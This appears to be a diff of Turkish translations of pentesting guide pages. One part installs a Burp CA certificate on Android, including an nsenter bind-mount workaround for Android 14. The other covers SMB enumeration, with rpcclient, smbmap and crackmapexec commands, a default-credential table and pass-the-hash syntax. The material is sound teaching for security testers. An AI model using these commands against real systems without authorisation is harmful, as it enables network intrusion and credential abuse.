Öncelikle Burp'tan Der sertifikasını indirmeniz gerekiyor. Bunu _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ yolundan yapabilirsiniz.
![](<../../images/image (367).png>)
**Der formatında sertifikayı dışa aktarın** ve bunu **dönüştürelim** ki **Android** **anlayabilsin.** Not: **AVD içindeki Android makinesinde Burp sertifikasını yapılandırabilmek için** bu makineyi **`-writable-system`** seçeneği ile **çalıştırmanız** gerekir.\
**Sertifikayı Der formatında dışa aktarın** ve bunu **Android**'in **anlayacağı** bir formata **dönüştürelim.** Not: **AVD içindeki Android makinede burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneği ile **çalıştırmanız** gerektiğini unutmayın.\
Örneğin şöyle çalıştırabilirsiniz:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
Sonra, **burps sertifikasını yapılandırmak için şunları yapın**:
Sonra, **burps sertifikasını yapılandırmak için şunu yapın**:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
Once the **makine yeniden başlatmayı tamamladıktan sonra** Burp sertifikası kullanılacaktır!
Makine **yeniden başlatmayı tamamladıktan sonra** burp sertifikası kullanılacaktır!
## Magisc Kullanımı
Eğer cihazınızı **Magisc ile root'ladıysanız** (örneğin bir emulator) ve Burp sertifikasını kurmak için önceki **adımları** izleyemiyorsanız çünkü **dosya sistemi salt okunur** ve yeniden yazılabilir şekilde remount edemiyorsanız, başka bir yol var.
Eğer cihazınızı **Magisc ile rootladıysanız** (belki bir emulator), ve Burp sertifikasını yüklemek için önceki **adımları** **izleyemiyorsanız** çünkü **dosya sistemi salt okunur** ve yeniden yazılabilir şekilde yeniden mount edemiyorsanız, başka bir yol var.
Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to:
[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) içinde açıklandığı üzere yapmanız gerekenler:
1. **Install a CA certificate**: Sadece DER Burp sertifikasının uzantısını `.crt` olarak değiştirip mobil cihaza drag&drop yapın, böylece Downloads klasöründe saklanır ve `Install a certificate` -> `CA certificate` yolunu izleyin.
1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza sadece **sürükle&bırak** ile Downloads klasörüne koyun ve `Install a certificate` -> `CA certificate`'e gidin
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
- Sertifikanın doğru şekilde saklandığını doğrulamak için `Trusted credentials` -> `USER` yoluna gidin.
- Sertifikanın doğru saklandığını kontrol etmek için `Trusted credentials` -> `USER`'e gidin
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Make it System trusted**: Magisc modülü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip dosyası) indirin, telefonuza **drag&drop** yapın, telefondaki **Magics app** uygulamasında **`Modules`** bölümüne gidin, **`Install from storage`** seçeneğine tıklayın, `.zip` modülünü seçin ve kurulduktan sonra telefonu **reboot** edin:
2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonuza **sürükle&bırak** ile koyun, telefondaki **Magics app**'e gidin `Modules` bölümüne, **`Install from storage`**'a tıklayın, `.zip` modülünü seçin ve yüklendikten sonra telefonu **yeniden başlatın**:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- Yeniden başlattıktan sonra `Trusted credentials` -> `SYSTEM` yoluna gidip Postswigger cert'in orada olduğunu kontrol edin.
- Yeniden başlattıktan sonra `Trusted credentials` -> `SYSTEM`'e gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Learn how to create a Magisc module
### Bir Magisc modülü oluşturmayı öğrenin
Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
İnceleyin [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
## Android 14 Sonrası
En son Android 14 sürümünde, sistem tarafından güvenilen Certificate Authority (CA) sertifikalarının yönetiminde önemli bir değişiklik gözlemlendi. Önceden bu sertifikalar **`/system/etc/security/cacerts/`** dizininde tutuluyor ve root ayrıcalığı olan kullanıcılar tarafından erişilip değiştirilebiliyordu; bu da sistem genelinde anında uygulanmalarına izin veriyordu. Ancak Android 14 ile birlikte saklama yeri **`/apex/com.android.conscrypt/cacerts`** olarak taşındı; bu dizin **`/apex`** yolunun içinde yer alır ve doğası gereği değiştirilemez (immutable).
En son Android 14 sürümünde, sistem tarafından güvenilen Certificate Authority (CA) sertifikalarının işlenmesinde önemli bir değişiklik gözlemlendi. Önceden bu sertifikalar **`/system/etc/security/cacerts/`** içinde tutuluyor, root ayrıcalığına sahip kullanıcılar tarafından erişilebilir ve değiştirilebiliyordu; bu da sistem genelinde hemen uygulanmalarına imkan veriyordu. Ancak Android 14 ile depolama yeri **`/apex/com.android.conscrypt/cacerts`** içine taşındı; bu **`/apex`** yolundaki bir dizindir ve doğası gereği immutable (değiştirilemez) olarak tasarlanmıştır.
**APEX cacerts yolunu** yazılabilir hale getirmek için remount yapma girişimleri başarısız olur; sistem bu tür işlemlere izin vermez. Dizini unmount etmeye veya geçici bir dosya sistemi (tmpfs) ile overlay yapmaya çalışmak bile immutability'yi aşmaz; uygulamalar dosya sistemi seviyesindeki değişikliklerden bağımsız olarak orijinal sertifika verilerine erişmeye devam eder. Bunun nedeni, **`/apex`** mount'ının PRIVATE propagation ile yapılandırılmış olmasıdır; bu da **`/apex`** içindeki değişikliklerin diğer süreçleri etkilememesini sağlar.
APEX cacerts yolunu yazılabilir olarak yeniden mount etmeye yönelik girişimler başarısızlıkla karşılaşıyor, çünkü sistem böyle işlemlere izin vermiyor. Dizini unmount etmeye veya üzerine geçici bir dosya sistemi (tmpfs) bind/overlay etmeye yönelik girişimler bile bu değiştirilemezliği aşamıyor; uygulamalar dosya sistemi düzeyindeki değişikliklerden bağımsız olarak orijinal sertifika verilerine erişmeye devam ediyor. Bu dayanıklılık, **`/apex`** mount'unun PRIVATE propagation ile yapılandırılmasından kaynaklanır; böylece **`/apex`** içindeki herhangi bir değişiklik diğer süreçleri etkilemez.
Android'in başlatılmasında `init` süreci işletim sistemini başlatırken aynı zamanda Zygote sürecini de başlatır. Bu süreç, uygulama süreçlerini yeni bir mount namespace ile başlatmaktan sorumludur ve bu namespace içinde private bir **`/apex`** mount bulunur; böylece bu dizindeki değişiklikler diğer süreçlerden izole edilir.
Android'in başlatılması, işletim sistemini başlatan `init` sürecini içerir; bu süreç aynı zamanda Zygote sürecini başlatır. Zygote, yeni bir mount namespace ile uygulama süreçlerini başlatmaktan sorumludur ve bu namespace içinde özel bir **`/apex`** mount bulunur; böylece bu dizindeki değişiklikler diğer süreçlerden izole edilir.
Yine de, **`/apex`** dizini içindeki sistem tarafından güvenilen CA sertifikalarını değiştirmek isteyenler için bir geçici çözüm vardır. Bu, **`/apex`**'in PRIVATE propagation özelliğini kaldıracak şekilde manuel olarak remount edilmesini içerir, böylece yazılabilir hale gelir. Süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini unmount ederek salt okunur kısıtlamayı kaldırmayı ve ardından içeriği orijinal konumuna geri yüklemeyi kapsar. Bu yaklaşım sistem çökmesini önlemek için hızlı hareket etmeyi gerektirir. Değişikliklerin tüm sistemde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmak tavsiye edilir; bu, tüm uygulamaları etkili bir şekilde yeniden başlatır ve sistemi tutarlı bir duruma getirir.
Yine de, **`/apex`** dizini içindeki sistem tarafından güvenilen CA sertifikalarını değiştirmek isteyenler için bir geçici çözüm vardır. Bu yöntem, PRIVATE propagation'ı kaldırmak için **`/apex`**'i elle yeniden mount etmeyi ve böylece yazılabilir hale getirmeyi içerir. İşlem, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini unmount ederek salt okunur kısıtlamasını kaldırmayı ve ardından içeriği tekrar **`/apex`** içindeki orijinal konumuna geri yüklemeyi kapsar. Bu yaklaşımın sistem çökmesini önlemek için hızlı hareket etmeyi gerektirdiğini unutmayın. Yapılan değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız (bu tüm uygulamaları etkili şekilde yeniden başlatır) önerilir.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -133,22 +133,23 @@ echo "System certificate injected"
```
### Bind-mounting through NSEnter
1. **Setting Up a Writable Directory**: Başlangıçta, yazılabilir bir dizin mevcut non-APEX sistem sertifika dizini üzerine bir `tmpfs` mounting yapılarak oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir:
1. **Yazılabilir Bir Dizin Oluşturma**: Başlangıçta, mevcut non-APEX sistem sertifika dizininin üzerine bir `tmpfs` bağlanarak yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin ayarlanmasının ardından, kullanılmak istenen CA sertifikaları bu dizine kopyalanmalıdır. Bu işlem, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını içerebilir. Bu sertifikaların izinlerinin ve SELinux etiketlerinin uygun şekilde ayarlanması şarttır.
3. **Bind Mounting for Zygote**: `nsenter` kullanılarak, Zygote'nin mount namespace'ine girilir. Zygote, Android uygulamalarını başlatmaktan sorumlu proses olduğundan, bundan sonra başlatılacak tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adım gereklidir. Kullanılan komut şudur:
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizin ayarlandıktan sonra kullanmak istediğiniz CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını içerebilir. Bu sertifikaların izinlerini ve SELinux etiketlerini uygun şekilde ayarlamak önemlidir.
3. **Zygote için Bind Mounting**: `nsenter` kullanılarak Zygote'un mount namespace'ına girilir. Zygote, Android uygulamalarını başlatmaktan sorumlu süreç olduğundan, bu adım bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için gereklidir. Kullanılan komut ise:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Bu, başlatılan her yeni uygulamanın güncellenmiş CA sertifikaları yapılandırmasına uyacağını garanti eder.
Bu, başlatılan her yeni uygulamanın güncellenmiş CA sertifikaları yapılandırmasına uymasını sağlar.
4. **Çalışan Uygulamalara Değişiklikleri Uygulama**: Zaten çalışmakta olan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın namespace'ine ayrı ayrı girilir ve benzer bir bind mount yapılır. Gerekli komut şudur:
4. **Çalışan Uygulamalara Değişiklikleri Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` yeniden kullanılarak her uygulamanın namespace'ine ayrı ayrı girilir ve benzer bir bind mount gerçekleştirilir. Gerekli komut şudur:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternatif Yaklaşım - Soft Reboot**: Alternatif bir yöntem, bind mount işlemini `init` sürecinde (PID 1) gerçekleştirmek ve ardından işletim sistemini `stop && start` komutlarıyla soft reboot yapmaktır. Bu yaklaşım, değişiklikleri tüm namespaces genelinde yayar ve her bir çalışan uygulamayı ayrı ayrı ele alma ihtiyacını ortadan kaldırır. Ancak, yeniden başlatmanın yarattığı rahatsızlık nedeniyle bu yöntem genellikle daha az tercih edilir.
5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` sürecinde (PID 1) bind mount uygulayıp ardından işletim sistemini `stop && start` komutları ile yumuşak şekilde yeniden başlatmaktır. Bu yaklaşım değişiklikleri tüm namespaces'lere yayar ve her çalışan uygulamayı ayrı ayrı ele alma ihtiyacını ortadan kaldırır. Ancak, yeniden başlatmanın zahmeti nedeniyle bu yöntem genellikle daha az tercih edilir.
## Referanslar

158
src/network-services-pentesting/pentesting-smb/README.md
View File

@ -4,60 +4,60 @@
## **Port 139**
_**Ağ Temel Giriş/Çıkış Sistemi**_** (NetBIOS), yerel alan ağı (LAN) içindeki uygulamaların, PC'lerin ve masaüstlerinin ağ donanımıyla etkileşim kurmasını ve **ağ üzerinden veri iletimini kolaylaştırmasını** sağlayan bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar olabilen ve genellikle bilgisayar adından farklı olan NetBIOS isimleri aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulamanın (istemci rolünde) başka bir uygulamayı (sunucu rolünde) "çağırmak" için bir komut gönderdiği ve **TCP Port 139** kullandığı durumda başlatılır.
The _**Ağ Temel Girdi Çıktı Sistemi**_** (NetBIOS)**, bir yerel alan ağı (LAN) içindeki uygulamaların, PC'lerin ve masaüstü bilgisayarların ağ donanımıyla etkileşmesine ve **ağ üzerinden veri iletimini kolaylaştırmaya** yönelik tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar olabilen ve genellikle bilgisayar adından farklı olan NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) başka bir uygulamayı (sunucu olarak hareket eden) "çağırmak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, ‘**Server Message Blocks**’ anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Bir uygulama katmanı ağ protokolü olarak, SMB/CIFS öncelikle dosyalar, yazıcılar, seri portlar için paylaşılan erişimi sağlamak ve ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
Teknik olarak, Port 139 ‘NBT over IP’ olarak adlandırılırken, Port 445 ‘SMB over IP’ olarak tanımlanır. Kısaltma **SMB** ‘**Server Message Blocks**’ anlamına gelir; bu aynı zamanda modern olarak **Common Internet File System (CIFS)** olarak bilinir. Bir uygulama-katmanı ağ protokolü olarak SMB/CIFS ağırlıklı olarak dosyalar, yazıcılar, seri portlar için paylaşımlı erişim sağlamak ve ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
Örneğin, Windows bağlamında, SMB'nin port 445 kullanılarak TCP/IP üzerinde doğrudan çalışabildiği; bunun NetBIOS over TCP/IP'ye olan gereksinimi ortadan kaldırdığı vurgulanır. Buna karşılık, farklı sistemlerde port 139 kullanımı görülür; bu da SMB'nin NetBIOS over TCP/IP ile birlikte çalıştırıldığını gösterir.
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinde çalışabileceği; böylece port 445'in kullanımıyla NetBIOS over TCP/IP gerekliliğini ortadan kaldırdığı vurgulanır. Buna karşılık, farklı sistemlerde port 139’un kullanıldığı görülür; bu da SMB'nin NetBIOS over TCP/IP ile birlikte çalıştırıldığını gösterir.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
The **Server Message Block (SMB)** protocolü, **client-server** modeliyle çalışan, **dosyalara erişim**, dizinler ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına erişimi düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisinde kullanılan SMB, geriye dönük uyumluluğu sağlar; böylece Microsoft'un daha yeni sürümlerini çalıştıran cihazların daha eski sürümleri çalıştıranlarla sorunsuz etkileşim kurmasına olanak tanır. Ayrıca **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak SMB aracılığıyla platformlar arası iletişimi kolaylaştırır.
**Server Message Block (SMB)** protokolü, bir **istemci-sunucu** modeliyle çalışır ve **dosyalara erişim**, dizinler ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarının düzenlenmesi için tasarlanmıştır. Öncelikle **Windows** işletim sistemleri ailesinde kullanılır; SMB geriye dönük uyumluluğu sağlar ve Microsoft'un daha yeni sürümlerine sahip cihazların daha eski sürümlerle sorunsuz etkileşim kurmasına olanak tanır. Ayrıca **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını mümkün kılan ücretsiz bir yazılım çözümü sunar ve böylece SMB üzerinden platformlar arası iletişimi kolaylaştırır.
Shares, yerel dosya sisteminin **herhangi bölümlerini** temsil ederek, bir SMB sunucusu tarafından sağlanabilir; bu, hiyerarşinin istemciye sunulmasını sunucunun gerçek yapısından kısmen **bağımsız** hale getirir. Access Control Lists (ACLs), erişim haklarını tanımlayan, kullanıcı izinleri üzerinde `execute`, `read` ve `full access` gibi öznitelikleri de içerecek şekilde ince ayrıntılı kontrol sağlar. Bu izinler paylaşıma bağlı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanmış yerel izinlerden farklıdır.
Paylaşımlar (shares), yerel dosya sisteminin **rastgele bölümlerini** temsil edebilir ve SMB sunucusu tarafından sağlanarak hiyerarşinin istemciye görünümünü sunucunun gerçek yapısından kısmen **bağımsız** hale getirir. **Access Control Lists (ACLs)**, **erişim haklarını** tanımlar ve kullanıcı izinleri üzerinde **ince taneli kontrol** sağlar; bunlar `execute`, `read` ve `full access` gibi nitelikleri içerir. Bu izinler paylaşımlara göre bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlı yerel izinlerden farklıdır.
### IPC$ Share
IPC$ share erişimi anonymous null session aracılığıyla elde edilebilir; bu, named pipes ile açığa çıkan servislerle etkileşime izin verir. `enum4linux` aracı bu amaç için kullanışlıdır. Doğru kullanıldığında şunların elde edilmesini sağlar:
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişilebilir; bu, named pipes aracılığıyla açığa çıkarılan hizmetlerle etkileşime izin verir. Bu amaçla `enum4linux` aracı kullanışlıdır. Doğru kullanıldığında şunları edinmeyi sağlar:
- İşletim sistemi hakkında bilgiler
- Üst domain hakkında detaylar
- Üst domain hakkında ayrıntılar
- Yerel kullanıcılar ve grupların listesi
- Mevcut SMB paylaşımları hakkında bilgiler
- Etkili sistem güvenlik politikası
- Geçerli sistem güvenlik politikası
Bu işlevsellik, ağ yöneticileri ve güvenlik profesyonelleri için bir ağ üzerindeki SMB (Server Message Block) servislerinin güvenlik duruşunu değerlendirmek açısından kritiktir. `enum4linux`, hedef sistemin SMB ortamına kapsamlı bir görünüm sağlar; bu, potansiyel zayıf noktaların tespit edilmesi ve SMB servislerinin uygun şekilde güvence altına alındığından emin olunması için gereklidir.
Bu işlevsellik, ağ yöneticileri ve güvenlik uzmanları için bir ağdaki SMB (Server Message Block) hizmetlerinin güvenlik duruşunu değerlendirmek açısından kritiktir. `enum4linux`, hedef sistemin SMB ortamına dair kapsamlı bir görünüm sunar; bu, potansiyel zayıflıkları tespit etmek ve SMB hizmetlerinin doğru şekilde güvence altına alındığından emin olmak için gereklidir.
```bash
enum4linux -a target_ip
```
Yukarıdaki komut, `enum4linux`'un `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için nasıl kullanılabileceğine dair bir örnektir.
Yukarıdaki komut, `enum4linux`'un `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için nasıl kullanılabileceğinin bir örneğidir.
## NTLM Nedir
NTLM'in ne olduğunu bilmiyorsanız ya da nasıl çalıştığını ve nasıl suiistimal edilebileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfa sizin için çok ilginç olacaktır; burada **bu protokolün nasıl çalıştığı ve nasıl suiistimal edilebileceği** açıklanmaktadır:
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl kötüye kullanılacağını öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve bundan nasıl yararlanabileceğiniz** açıklanıyor:
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Sunucu Enumeration**
## **Server Enumeration**
### **Scan** bir network'te hosts aramak:
### **Scan** — bir ağda hosts arama:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB sunucu sürümü
SMB sürümüne yönelik olası exploitleri aramak için hangi sürümün kullanıldığını bilmek önemlidir. Eğer bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
SMB sürümüne yönelik olası exploits'leri araştırmak için hangi sürümün kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
- **MSF** yardımcı modülünü `**auxiliary/scanner/smb/smb_version**` kullanın
- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` kullanın
- Veya bu script:
```bash
#!/bin/sh
@ -75,22 +75,22 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Ara exploit**
### **Exploit ara**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Olası** Kimlik Bilgileri
| **Kullanıcı(lar)** | **Yaygın parolalar** |
| -------------------- | ----------------------------------------- |
| _(boş)_ | _(boş)_ |
| guest | _(boş)_ |
| Administrator, admin | _(boş)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
| **Kullanıcı Ad(ları)** | **Yaygın parolalar** |
| ---------------------- | ----------------------------------------- |
| _(boş)_ | _(boş)_ |
| guest | _(boş)_ |
| Administrator, admin | _(boş)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
@ -120,7 +120,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Kullanıcıları, Grupları ve Oturum Açmış Kullanıcıları Listeleme
### Kullanıcılar, Gruplar ve Oturum Açmış Kullanıcıları Listeleme
Bu bilgiler zaten enum4linux ve enum4linux-ng tarafından toplanmış olmalıdır.
```bash
@ -134,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Yerel kullanıcıları listele
### Yerel kullanıcıları enumerate et
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
@ -150,14 +150,14 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **LSARPC ve SAMR rpcclient Enumerasyonu**
### **LSARPC ve SAMR rpcclient ile Keşif**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### GUI bağlantısı (Linux'ten)
### Linux'tan GUI bağlantısı
#### Terminalde:
@ -167,11 +167,11 @@ rpcclient-enumeration.md
`smb://friendzone.htb/general/`
## Paylaşılan Klasörlerin Enumerasyonu
## Paylaşılan Klasörlerin Keşfi
### Paylaşılan Klasörleri Listeleme
### Paylaşılan klasörleri listeleme
Her zaman erişebileceğiniz bir şey olup olmadığına bakmanız önerilir; kimlik bilgileriniz yoksa **null** **credentials/guest user** kullanmayı deneyin.
Her zaman herhangi bir şeye erişiminiz olup olmadığını kontrol etmeniz önerilir; kimlik bilgisine sahip değilseniz **null** **credentials/guest user** kullanmayı deneyin.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Paylaşılan klasöre bağlan/listele**
### **Paylaşılan bir klasöre bağlanma/listeleme**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Windows paylaşımlarını elle listeleyin ve bağlanın**
### **Windows paylaşımlarını manuel olarak listeleme ve bağlanma**
Ev sahibi makinenin paylaşımlarını görüntülemeniz kısıtlanmış olabilir ve onları listelemeye çalıştığınızda bağlanılacak herhangi bir paylaşım yokmuş gibi görünebilir. Bu nedenle, bir paylaşıma elle bağlanmayı kısa bir deneme olarak yapmak faydalı olabilir. Paylaşımları elle listelemek için, geçerli bir oturum kullanırken (örn. null session veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bunlar, paylaşımın var olduğunu ancak erişiminizin olmadığını veya paylaşımın hiç var olmadığını gösterebilir.
Hedef makinenin paylaşımlarını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda bağlanılacak hiçbir paylaşım yokmuş gibi görünebilir. Bu yüzden bir paylaşıma manuel olarak bağlanmayı denemeye değer olabilir. Paylaşımları manuel olarak listelerken (ör. null session veya geçerli kimlik bilgileri gibi) geçerli bir oturum kullanıyorsanız NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bunlar, paylaşımın var olduğunu fakat erişiminizin olmadığını veya paylaşımın hiç var olmadığını gösterebilir.
Windows hedefleri için yaygın paylaşım adları şunlardır
Windows hedefleri için yaygın paylaşım isimleri:
- C$
- D$
@ -212,7 +212,7 @@ Windows hedefleri için yaygın paylaşım adları şunlardır
- SYSVOL
- NETLOGON
(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_ kaynağından)
(Yaygın paylaşım isimleri _**Network Security Assessment 3rd edition**_'den)
Aşağıdaki komutu kullanarak bunlara bağlanmayı deneyebilirsiniz:
```bash
@ -241,7 +241,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windows'tan paylaşımları listeleme / üçüncü taraf araçlar olmadan**
### **Windows'ta paylaşımları listeleme / üçüncü taraf araçlar olmadan**
PowerShell
```bash
@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Dosyaları indir**
credentials/Pass-the-Hash ile nasıl bağlanılacağını öğrenmek için önceki bölümleri okuyun.
Kimlik bilgileri/Pass-the-Hash ile nasıl bağlanılacağını öğrenmek için önceki bölümleri okuyun.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -293,12 +293,12 @@ smbclient //<IP>/<share>
```
Komutlar:
- mask: dizin içindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (örn. "" tüm dosyalar için)
- recurse: özyinelemeyi açıp kapatır (varsayılan: kapalı)
- prompt: dosya adları için istemi kapatır (varsayılan: açık)
- mget: maskeye uyan tüm dosyaları sunucudan istemci makinesine kopyalar
- mask: dizin içindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (ör. "" tüm dosyalar için)
- recurse: alt dizinlerde yinelemeyi açıp kapatır (varsayılan: kapalı)
- prompt: dosya adları için istemeyi açıp kapatır (varsayılan: açık)
- mget: maskeyle eşleşen tüm dosyaları hosttan istemci makineye kopyalar
(_smbclient man sayfasından bilgi_)
(_Bilgi smbclient man sayfasından_)
### Domain Paylaşılan Klasörleri Arama
@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
